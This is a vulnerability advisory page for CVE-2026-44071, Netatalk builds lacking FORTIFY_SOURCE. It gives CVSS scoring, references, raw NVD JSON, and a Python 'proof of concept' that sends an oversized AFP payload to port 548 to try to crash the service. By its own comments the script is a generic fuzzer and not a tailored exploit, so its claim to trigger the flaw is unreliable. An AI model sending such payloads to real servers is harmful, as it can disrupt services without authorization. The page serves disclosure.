CVE-2026-44071

Description

Netatalk 3.1.2 through 4.4.2 is compiled without FORTIFY_SOURCE, which disables built-in buffer overflow detection at runtime, potentially allowing a remote attacker to cause a minor denial of service via memory errors that would otherwise be caught and safely terminated by runtime protection.

CVSS Details

CVSS Score

3.7

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Netatalk 3.1.2 - 4.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import sys

# Proof of Concept for CVE-2026-44071
# This script attempts to send a large payload to the Netatalk service
# to potentially trigger the memory error/DoS due to missing FORTIFY_SOURCE.
# Note: This is a generic fuzzer example as specific packet structure depends on the AFP protocol state.

TARGET_IP = "192.168.1.100"
TARGET_PORT = 548  # Default AFP port

def trigger_dos():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        print(f"[+] Connecting to {TARGET_IP}:{TARGET_PORT}...")
        s.connect((TARGET_IP, TARGET_PORT))

        # Sending a malformed or oversized AFP header/payload
        # AFP DSIGetStatus is often used for initial checks
        # Constructing a basic AFP command with potential overflow
        payload = b'\x00' + b'\x04' + b'\x00' + b'\x01' + b'\x00' + b'\x02' + b'A' * 1000

        print("[+] Sending payload...")
        s.send(payload)
        s.recv(1024)
        print("[*] Payload sent. Check if service crashed.")
        s.close()

    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    trigger_dos()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44071
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44071
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44071/
[4] VulDB https://vuldb.com/cve/CVE-2026-44071
[5] https://netatalk.io/security/CVE-2026-44071

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44071", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T09:16:29.340", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netatalk 3.1.2 through 4.4.2 is compiled without FORTIFY_SOURCE, which disables built-in buffer overflow detection at runtime, potentially allowing a remote attacker to cause a minor denial of service via memory errors that would otherwise be caught and safely terminated by runtime protection."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44071", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}